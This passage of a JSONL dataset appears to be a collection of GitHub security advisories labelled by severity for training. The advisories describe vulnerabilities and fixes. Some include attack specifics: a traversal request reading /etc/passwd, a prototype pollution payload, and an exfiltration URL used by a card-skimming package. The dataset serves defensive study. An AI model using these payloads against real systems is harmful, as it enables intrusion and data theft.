src=\"https://user-images.githubusercontent.com/7253840/78070158-8f7ef580-7358-11ea-950c-226533f6a0a3.png\">", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "15e0fe12971b3d4766e7", "text": "Malicious Package in uploader-plugin\n\nVersion 1.0.2 of `uploader-plugin` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "text_raw": "Malicious Package in uploader-plugin\n\n[Severity: CRITICAL]\n\nVersion 1.0.2 of `uploader-plugin` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7e299ce38eab5ebecea1", "text": "Remote Code Execution Vulnerability in Session Storage\n\n### Impact\n\nA malicious attacker can achieve Remote Code Execution (RCE) via a maliciously crafted Java deserialization gadget chain leveraged against the Ratpack session store.\n\nIf your application does not use Ratpack's session mechanism, it is not vulnerable.\n\n### Details\n\nAttackers with the ability to write to session data, can potentially craft payloads that deserialize unsafe objects, leading to the ability to remotely execute arbitrary code. \nThis is known as an “[insecure deserialization](https://portswigger.net/web-security/deserialization)” vulnerability, or “gadget vulnerability”.\n\nRatpack allows session data to be stored server side in an external system such as a relational database, or client side via user cookies.\nWhen using server side storage, the attacker would need to obtain the ability to write to the session data store.\nWhen using client side storage, the attacker would need to obtain the secrets used to encrypt and/or sign the session data stored in user cookies.\n\nRatpack's session mechanism allows storing serialized objects, of arbitrary types. \nThe type must be specified when writing the data and when reading, with data only deserialized when there is an exact type match.\nHowever, in the process of deserializing an object of a known/trusted/deserialization-safe type, it may attempt to deserialize unsafe types.\n\nBy default Ratpack uses Java's built-in serialization mechanism, though other serialization providers can be used.\nThe exact types of payloads required to enable an exploit depend on the exact serialization mechanism used.\n\nTo mitigate this vulnerability, Ratpack now employs a “strict allow-list” when deserializing (and serializing) objects to session data. \nAll concrete types of objects serialized must be explicitly declared as safe.\nSome standard well known JDK types are registered by default.\n\nSerialization is provided by implementations of [`SessionSerializer`](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionSerializer.html).\nIts existing methods have been deprecated, and replaced with a [new methods](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionSerializer.html#deserialize(java.lang.Class,java.io.InputStream,ratpack.session.SessionTypeFilter)) that accept a [`SessionTypeFilter`](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionTypeFilter.html) that can be used to assert whether a type is allowed when serializing and deserializing.\n\nThe default serializer implementation has been updated to use this mechanism.\nAny proprietary implementations should also be updated to consult the type filter _before_ serializing or deserializing data.\nWarnings will be logged any time an implementation that does not implement the new methods is used.\n\nUpon upgrading to Ratpack 1.9, users of the built-in serialization mechanism will need to change their application to declare all types currently being serialized as being safe. This can be done using the new [`SessionModule.allowTypes()`](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionModule.html#allowTypes(com.google.inject.Binder,java.lang.Class...)) method. Please see its documentation for details...))\n\n### Patches\n\nRatpack 1.9.0 introduces a strict allow-list mechanism that mitigates this vulnerability when used.\n\n### Workarounds\n\nThe simplest mitigation for users of earlier versions is to reduce the likelihood of attackers being able to write to the session data store.\n\nAlternatively or additionally, the allow-list mechanism could be manually back ported by providing an alternative implementation of `SessionSerializer` that uses an allow-list.\n\n### References\n\n- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/\n - https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data", "text_raw": "Remote Code Execution Vulnerability in Session Storage\n\n[Severity: CRITICAL]\n\n### Impact\n\nA malicious attacker can achieve Remote Code Execution (RCE) via a maliciously crafted Java deserialization gadget chain leveraged against the Ratpack session store.\n\nIf your application does not use Ratpack's session mechanism, it is not vulnerable.\n\n### Details\n\nAttackers with the ability to write to session data, can potentially craft payloads that deserialize unsafe objects, leading to the ability to remotely execute arbitrary code. \nThis is known as an “[insecure deserialization](https://portswigger.net/web-security/deserialization)” vulnerability, or “gadget vulnerability”.\n\nRatpack allows session data to be stored server side in an external system such as a relational database, or client side via user cookies.\nWhen using server side storage, the attacker would need to obtain the ability to write to the session data store.\nWhen using client side storage, the attacker would need to obtain the secrets used to encrypt and/or sign the session data stored in user cookies.\n\nRatpack's session mechanism allows storing serialized objects, of arbitrary types. \nThe type must be specified when writing the data and when reading, with data only deserialized when there is an exact type match.\nHowever, in the process of deserializing an object of a known/trusted/deserialization-safe type, it may attempt to deserialize unsafe types.\n\nBy default Ratpack uses Java's built-in serialization mechanism, though other serialization providers can be used.\nThe exact types of payloads required to enable an exploit depend on the exact serialization mechanism used.\n\nTo mitigate this vulnerability, Ratpack now employs a “strict allow-list” when deserializing (and serializing) objects to session data. \nAll concrete types of objects serialized must be explicitly declared as safe.\nSome standard well known JDK types are registered by default.\n\nSerialization is provided by implementations of [`SessionSerializer`](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionSerializer.html).\nIts existing methods have been deprecated, and replaced with a [new methods](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionSerializer.html#deserialize(java.lang.Class,java.io.InputStream,ratpack.session.SessionTypeFilter)) that accept a [`SessionTypeFilter`](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionTypeFilter.html) that can be used to assert whether a type is allowed when serializing and deserializing.\n\nThe default serializer implementation has been updated to use this mechanism.\nAny proprietary implementations should also be updated to consult the type filter _before_ serializing or deserializing data.\nWarnings will be logged any time an implementation that does not implement the new methods is used.\n\nUpon upgrading to Ratpack 1.9, users of the built-in serialization mechanism will need to change their application to declare all types currently being serialized as being safe. This can be done using the new [`SessionModule.allowTypes()`](https://ratpack.io/manual/1.9.0/api/ratpack/session/SessionModule.html#allowTypes(com.google.inject.Binder,java.lang.Class...)) method. Please see its documentation for details...))\n\n### Patches\n\nRatpack 1.9.0 introduces a strict allow-list mechanism that mitigates this vulnerability when used.\n\n### Workarounds\n\nThe simplest mitigation for users of earlier versions is to reduce the likelihood of attackers being able to write to the session data store. \n\nAlternatively or additionally, the allow-list mechanism could be manually back ported by providing an alternative implementation of `SessionSerializer` that uses an allow-list.\n\n### References\n\n - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/\n - https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "cd35b44619928eb9b52e", "text": "Reflected Cross-Site Scripting in Apache CXF\n\nBy default, Apache CXF creates a /services page containing a listing of the available endpoint names and addresses. This webpage is vulnerable to a reflected Cross-Site Scripting (XSS) attack, which allows a malicious actor to inject javascript into the web page. Please note that the attack exploits a feature which is not typically not present in modern browsers, who remove dot segments before sending the request. However, Mobile applications may be vulnerable.", "text_raw": "Reflected Cross-Site Scripting in Apache CXF\n\n[Severity: MEDIUM]\n\nBy default, Apache CXF creates a /services page containing a listing of the available endpoint names and addresses. This webpage is vulnerable to a reflected Cross-Site Scripting (XSS) attack, which allows a malicious actor to inject javascript into the web page. Please note that the attack exploits a feature which is not typically not present in modern browsers, who remove dot segments before sending the request. However, Mobile applications may be vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "8684399d6e9ed277e87d", "text": "It was found in Undertow before 1.3.28 that with non-clean TCP close, the Websocket server gets into infinite loop on every IO thread, effectively causing DoS.", "text_raw": "Moderate severity vulnerability that affects io.undertow:undertow-core\n\n[Severity: MEDIUM]\n\nIt was found in Undertow before 1.3.28 that with non-clean TCP close, the Websocket server gets into infinite loop on every IO thread, effectively causing DoS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "9f062daee346e730b856", "text": "dojox vulnerable to unescaped string injection\n\nIn Dojo Toolkit before 1.14.0, there is unescaped string injection in dojox/Grid/DataGrid.", "text_raw": "dojox vulnerable to unescaped string injection\n\n[Severity: CRITICAL]\n\nIn Dojo Toolkit before 1.14.0, there is unescaped string injection in dojox/Grid/DataGrid.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-15", "split": "train"}
-{"id": "f20eb00f4380ad154c4f", "text": "Malicious Package in chak\n\nAll versions of `chak` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in chak\n\n[Severity: CRITICAL]\n\nAll versions of `chak` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "bebb2815c82975365ec2", "text": "Improper Authorization in github.com/containers/libpod\n\nA flaw was found in podman before 1.7.0. File permissions for non-root users running in a privileged container are not correctly checked. This flaw can be abused by a low-privileged user inside the container to access any other file in the container, even if owned by the root user inside the container. It does not allow to directly escape the container, though being a privileged container means that a lot of security features are disabled when running the container. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "text_raw": "Improper Authorization in github.com/containers/libpod\n\n[Severity: HIGH]\n\nA flaw was found in podman before 1.7.0. File permissions for non-root users running in a privileged container are not correctly checked. This flaw can be abused by a low-privileged user inside the container to access any other file in the container, even if owned by the root user inside the container. It does not allow to directly escape the container, though being a privileged container means that a lot of security features are disabled when running the container. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "e62beb4f337778125851", "text": "Insecure use of temporary files in Phusion passenger\n\nPhusion Passenger 4.0.37 allows local users to write to certain files and directories via a symlink attack on (1) control_process.pid or a (2) generation-* file.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1831.", "text_raw": "Insecure use of temporary files in Phusion passenger\n\n[Severity: LOW]\n\nPhusion Passenger 4.0.37 allows local users to write to certain files and directories via a symlink attack on (1) control_process.pid or a (2) generation-* file.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1831.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "eac3ae144adf30e87e01", "text": "Directory Traversal in elFinder.AspNet\n\nThis affects the package elFinder.AspNet before 1.1.1.\n The user-controlled file name is not properly sanitized before it is used to create a file system path.", "text_raw": "Directory Traversal in elFinder.AspNet\n\n[Severity: HIGH]\n\nThis affects the package elFinder.AspNet before 1.1.1.\n The user-controlled file name is not properly sanitized before it is used to create a file system path.\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "330d1148e050ddb0d179", "text": "Cross-site Request Forgery (CSRF) in Cloud Native Computing Foundation Harbor\n\nCure53 has discovered that the Harbor web interface does not implement protection mechanisms against Cross-Site Request Forgery (CSRF). By luring an authenticated user onto a prepared third-party website, an attacker can execute any action on the platform in the context of the currently authenticated victim.\n\nThe vulnerability was immediately fixed by the Harbor team and all supported versions were patched.\n\nSuccessful exploitation of this issue will lead to 3rd parties executing actions on the platform of behalf of authenticated users and administrators.\n\nIf your product uses the affected releases of Harbor, update to version 1.8.6 and 1.9.3 to patch this issue immediately.\n\nhttps://github.com/goharbor/harbor/releases/tag/v1.8.6\nhttps://github.com/goharbor/harbor/releases/tag/v1.9.3", "text_raw": "Cross-site Request Forgery (CSRF) in Cloud Native Computing Foundation Harbor\n\n[Severity: HIGH]\n\nCure53 has discovered that the Harbor web interface does not implement protection mechanisms against Cross-Site Request Forgery (CSRF). By luring an authenticated user onto a prepared third-party website, an attacker can execute any action on the platform in the context of the currently authenticated victim.\n\nThe vulnerability was immediately fixed by the Harbor team and all supported versions were patched.\n\nSuccessful exploitation of this issue will lead to 3rd parties executing actions on the platform of behalf of authenticated users and administrators.\n\nIf your product uses the affected releases of Harbor, update to version 1.8.6 and 1.9.3 to patch this issue immediately.\n\nhttps://github.com/goharbor/harbor/releases/tag/v1.8.6\nhttps://github.com/goharbor/harbor/releases/tag/v1.9.3", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "141430d9080e0c70b00c", "text": "Denial of Service in Netty\n\nThe ZlibDecoders in Netty 4.1.x before 4.1.46 allow for unbounded memory allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.", "text_raw": "Denial of Service in Netty\n\n[Severity: HIGH]\n\nThe ZlibDecoders in Netty 4.1.x before 4.1.46 allow for unbounded memory allocation while decoding a ZlibEncoded byte stream. An attacker could send a large ZlibEncoded byte stream to the Netty server, forcing the server to allocate all of its free memory to a single decoder.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "61b7f0f3d5584d735edd", "text": "Directory Traversal in sspa\n\nAffected versions of `sspa` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in sspa\n\n[Severity: HIGH]\n\nAffected versions of `sspa` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "33abbce609ccec617c28", "text": "Angular vulnerable to Cross-site Scripting\n\nangular.js prior to 1.8.0 allows cross site scripting. The regex-based input HTML replacement may turn sanitized code into unsanitized one. Wrapping `<option>` elements in `<select>` ones changes parsing behavior, leading to possibly unsanitizing code.", "text_raw": "Angular vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nangular.js prior to 1.8.0 allows cross site scripting. The regex-based input HTML replacement may turn sanitized code into unsanitized one. Wrapping `<option>` elements in `<select>` ones changes parsing behavior, leading to possibly unsanitizing code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-18", "split": "train"}
-{"id": "f1ed1b7b6426ef498fbd", "text": "Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal\n\nIn Apache Struts 2.0.1 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.", "text_raw": "Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal\n\n[Severity: CRITICAL]\n\nIn Apache Struts 2.0.1 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "371c4468573e9f3c5f2c", "text": "Out-of-bounds Write in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an out-of-bounds write error in the function FillColorRow4 in utils.cpp when reading an image file by using cv::imread.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an out-of-bounds write error in the function FillColorRow4 in utils.cpp when reading an image file by using cv::imread.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "6b81c0062ee69d128d3c", "text": "Prototype Pollution in lodash.mergewith\n\nVersions of `lodash.mergewith` before 4.6.2 are vulnerable to prototype pollution. The function `mergeWith` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.6.2 or later.", "text_raw": "Prototype Pollution in lodash.mergewith\n\n[Severity: HIGH]\n\nVersions of `lodash.mergewith` before 4.6.2 are vulnerable to prototype pollution. The function `mergeWith` may allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nUpdate to version 4.6.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "70938a549beb3216a14e", "text": "XML Processing error in github.com/crewjam/saml\n\n### Impact\n\nThere are three vulnerabilities in the go `encoding/xml` package that can allow an attacker to forge part of a signed XML document. For details on this vulnerability see [xml-roundtrip-validator](https://github.com/mattermost/xml-roundtrip-validator)\n\n### Patches\n\nIn version 0.4.3, all XML input is validated prior to being parsed.", "text_raw": "XML Processing error in github.com/crewjam/saml\n\n[Severity: CRITICAL]\n\n### Impact\n\nThere are three vulnerabilities in the go `encoding/xml` package that can allow an attacker to forge part of a signed XML document. For details on this vulnerability see [xml-roundtrip-validator](https://github.com/mattermost/xml-roundtrip-validator)\n\n### Patches\n\nIn version 0.4.3, all XML input is validated prior to being parsed.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "047d4d0db5baaa9ccd2c", "text": "remote code execution via git repo provider\n\n### Impact\n\nA remote code execution vulnerability has been identified in BinderHub, where providing BinderHub with maliciously crafted input could execute code in the BinderHub context, with the potential to egress credentials of the BinderHub deployment, including JupyterHub API tokens, kubernetes service accounts, and docker registry credentials. This may provide the ability to manipulate images and other user created pods in the deployment, with the potential to escalate to the host depending on the underlying kubernetes configuration.\n\n### Patches\n\nPatch below, or [on GitHub](https://github.com/jupyterhub/binderhub/commit/195caac172690456dcdc8cc7a6ca50e05abf8182.patch)\n\n```diff\nFrom 9f4043d9dddc1174920e687773f27b7933f48ab6 Mon Sep 17 00:00:00 2001\nFrom: Riccardo Castellotti <rcastell@cern.ch>\nDate: Thu, 19 Aug 2021 15:49:43 +0200\nSubject: [PATCH] Explicitly separate git-ls-remote options from positional\n arguments\n\n---\n binderhub/repoproviders.py | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)\n\ndiff --git a/binderhub/repoproviders.py b/binderhub/repoproviders.py\nindex f33347b..5d4b87c 100755\n--- a/binderhub/repoproviders.py\n+++ b/binderhub/repoproviders.py\n@@ -484,7 +484,7 @@ class GitRepoProvider(RepoProvider):\n             self.sha1_validate(self.unresolved_ref)\n         except ValueError:\n             # The ref is a head/tag and we resolve it using `git ls-remote`\n-            command = [\"git\", \"ls-remote\", self.repo, self.unresolved_ref]\n+            command = [\"git\", \"ls-remote\", \"--\", self.repo, self.unresolved_ref]\n             result = subprocess.run(command, universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n             if result.returncode:\n                 raise RuntimeError(\"Unable to run git ls-remote to get the `resolved_ref`: {}\".format(result.stderr))\n-- \n2.25.1\n\n```\n\n### Workarounds\n\nDisable the git repo provider by specifying the `BinderHub.repo_providers` config, e.g.:\n\n```python\nfrom binderhub.repoproviders import (GitHubRepoProvider,\n                            GitLabRepoProvider, GistRepoProvider,\n                            ZenodoProvider, FigshareProvider, HydroshareProvider,\n                            DataverseProvider)\n\nc.BinderHub.repo_providers =  {\n            'gh': GitHubRepoProvider,\n            'gist': GistRepoProvider,\n            'gl': GitLabRepoProvider,\n            'zenodo': ZenodoProvider,\n            'figshare': FigshareProvider,\n            'hydroshare': HydroshareProvider,\n            'dataverse': DataverseProvider,\n        }\n```\n\n### References\n\nCredit: Jose Carlos Luna Duran (CERN) and Riccardo Castellotti (CERN).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@ipython.org](mailto:security@ipython.org)", "text_raw": "remote code execution via git repo provider\n\n[Severity: CRITICAL]\n\n### Impact\n\nA remote code execution vulnerability has been identified in BinderHub, where providing BinderHub with maliciously crafted input could execute code in the BinderHub context, with the potential to egress credentials of the BinderHub deployment, including JupyterHub API tokens, kubernetes service accounts, and docker registry credentials. This may provide the ability to manipulate images and other user created pods in the deployment, with the potential to escalate to the host depending on the underlying kubernetes configuration.\n\n### Patches\n\nPatch below, or [on GitHub](https://github.com/jupyterhub/binderhub/commit/195caac172690456dcdc8cc7a6ca50e05abf8182.patch)\n\n```diff\nFrom 9f4043d9dddc1174920e687773f27b7933f48ab6 Mon Sep 17 00:00:00 2001\nFrom: Riccardo Castellotti <rcastell@cern.ch>\nDate: Thu, 19 Aug 2021 15:49:43 +0200\nSubject: [PATCH] Explicitly separate git-ls-remote options from positional\n arguments\n\n---\n binderhub/repoproviders.py | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)\n\ndiff --git a/binderhub/repoproviders.py b/binderhub/repoproviders.py\nindex f33347b..5d4b87c 100755\n--- a/binderhub/repoproviders.py\n+++ b/binderhub/repoproviders.py\n@@ -484,7 +484,7 @@ class GitRepoProvider(RepoProvider):\n             self.sha1_validate(self.unresolved_ref)\n         except ValueError:\n             # The ref is a head/tag and we resolve it using `git ls-remote`\n-            command = [\"git\", \"ls-remote\", self.repo, self.unresolved_ref]\n+            command = [\"git\", \"ls-remote\", \"--\", self.repo, self.unresolved_ref]\n             result = subprocess.run(command, universal_newlines=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n             if result.returncode:\n                 raise RuntimeError(\"Unable to run git ls-remote to get the `resolved_ref`: {}\".format(result.stderr))\n-- \n2.25.1\n\n```\n\n### Workarounds\n\nDisable the git repo provider by specifying the `BinderHub.repo_providers` config, e.g.:\n\n```python\nfrom binderhub.repoproviders import (GitHubRepoProvider,\n                            GitLabRepoProvider, GistRepoProvider,\n                            ZenodoProvider, FigshareProvider, HydroshareProvider,\n                            DataverseProvider)\n\nc.BinderHub.repo_providers =  {\n            'gh': GitHubRepoProvider,\n            'gist': GistRepoProvider,\n            'gl': GitLabRepoProvider,\n            'zenodo': ZenodoProvider,\n            'figshare': FigshareProvider,\n            'hydroshare': HydroshareProvider,\n            'dataverse': DataverseProvider,\n        }\n```\n\n### References\n\nCredit: Jose Carlos Luna Duran (CERN) and Riccardo Castellotti (CERN).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@ipython.org](mailto:security@ipython.org)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "6e79eac6a1ea4cce1e17", "text": "Unexpected panic when decoding tokens in branca\n\nPrior to 0.10.0 it was possible to have both decoding functions panic unexpectedly, by supplying tokens with an incorrect base62 encoding.\nThe documentation stated that an error should have been reported instead.", "text_raw": "Unexpected panic when decoding tokens in branca\n\n[Severity: MEDIUM]\n\nPrior to 0.10.0 it was possible to have both decoding functions panic unexpectedly, by supplying tokens with an incorrect base62 encoding.\nThe documentation stated that an error should have been reported instead.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "70b7773bf4bb8cabee33", "text": "Apache Tika is vulnerable to entity expansions which can lead to a denial of service attack\n\nIn Apache Tika 1.19 (CVE-2018-11761), we added an entity expansion limit for XML parsing. However, Tika reuses SAXParsers and calls reset() after each parse, which, for Xerces2 parsers, as per the documentation, removes the user-specified SecurityManager and thus removes entity expansion limits after the first parse. Apache Tika versions from 0.1 to 1.19 are therefore still vulnerable to entity expansions which can lead to a denial of service attack. Users should upgrade to 1.19.1 or later.", "text_raw": "Apache Tika is vulnerable to entity expansions which can lead to a denial of service attack\n\n[Severity: HIGH]\n\nIn Apache Tika 1.19 (CVE-2018-11761), we added an entity expansion limit for XML parsing. However, Tika reuses SAXParsers and calls reset() after each parse, which, for Xerces2 parsers, as per the documentation, removes the user-specified SecurityManager and thus removes entity expansion limits after the first parse. Apache Tika versions from 0.1 to 1.19 are therefore still vulnerable to entity expansions which can lead to a denial of service attack. Users should upgrade to 1.19.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "6d35c32e8dae03373937", "text": "Cross-Site Scripting in http-file-server\n\nAll versions of `http-file-server` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in http-file-server\n\n[Severity: MEDIUM]\n\nAll versions of `http-file-server` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "ff743ccdc0c4f91463da", "text": "SQL Injection in sequelize\n\nVersions of `sequelize` prior to 5.3.0 (excluding v3 and v4) are vulnerable to SQL Injection. PostgreSQL option`standard_conforming_strings` is not set to `on` by default, which may allow attackers to inject SQL statements due to poor handling of backslashes in string literals.\n\n## Recommendation\n\nUpgrade to version 5.3.0 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: HIGH]\n\nVersions of `sequelize` prior to 5.3.0 (excluding v3 and v4) are vulnerable to SQL Injection. PostgreSQL option`standard_conforming_strings` is not set to `on` by default, which may allow attackers to inject SQL statements due to poor handling of backslashes in string literals.\n\n\n## Recommendation\n\nUpgrade to version 5.3.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-11", "split": "train"}
-{"id": "548d524f6c3a25dec089", "text": "Partial path traversal in sharpcompress\n\nSharpCompress recreates a hierarchy of directories under destinationDirectory if ExtractFullPath is set to true in options. In order to prevent extraction outside the destination directory the destinationFileName path is verified to begin with fullDestinationDirectoryPath. However it is not enforced that fullDestinationDirectoryPath ends with slash:\n\n```csharp\npublic static void WriteEntryToDirectory(IEntry entry,\n                                         string destinationDirectory,\n                                         ExtractionOptions? options,\n                                         Action<string, ExtractionOptions?> write)\n{\n    string destinationFileName;\n    string file = Path.GetFileName(entry.Key);\n    string fullDestinationDirectoryPath = Path.GetFullPath(destinationDirectory);\n...\n        throw new ExtractionException(\"Entry is trying to write a file outside of the destination directory.\");\n}\n```\n\nIf the destinationDirectory is not slash terminated like /home/user/dir it is possible to create a file with a name thats begins as the destination directory one level up from the directory, i.e. /home/user/dir.sh.\n\n#### Impact\nBecause of the file name and destination directory constraints the arbitrary file creation impact is limited and depends on the use case.", "text_raw": "Partial path traversal in sharpcompress\n\n[Severity: MEDIUM]\n\nSharpCompress recreates a hierarchy of directories under destinationDirectory if ExtractFullPath is set to true in options. In order to prevent extraction outside the destination directory the destinationFileName path is verified to begin with fullDestinationDirectoryPath. However it is not enforced that fullDestinationDirectoryPath ends with slash:\n\n```csharp\npublic static void WriteEntryToDirectory(IEntry entry,\n                                         string destinationDirectory,\n                                         ExtractionOptions? options,\n                                         Action<string, ExtractionOptions?> write)\n{\n    string destinationFileName;\n    string file = Path.GetFileName(entry.Key);\n    string fullDestinationDirectoryPath = Path.GetFullPath(destinationDirectory);\n...\n        throw new ExtractionException(\"Entry is trying to write a file outside of the destination directory.\");\n}\n```\n\nIf the destinationDirectory is not slash terminated like /home/user/dir it is possible to create a file with a name thats begins as the destination directory one level up from the directory, i.e. /home/user/dir.sh.\n\n#### Impact\nBecause of the file name and destination directory constraints the arbitrary file creation impact is limited and depends on the use case.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "972eaf864176a5e06b58", "text": "OS Command Injection in pixl-class\n\npixl-class prior to 1.0.3 allows execution of arbitrary commands. The members argument of the create function can be controlled by users without any sanitization.", "text_raw": "OS Command Injection in pixl-class\n\n[Severity: HIGH]\n\npixl-class prior to 1.0.3 allows execution of arbitrary commands. The members argument of the create function can be controlled by users without any sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
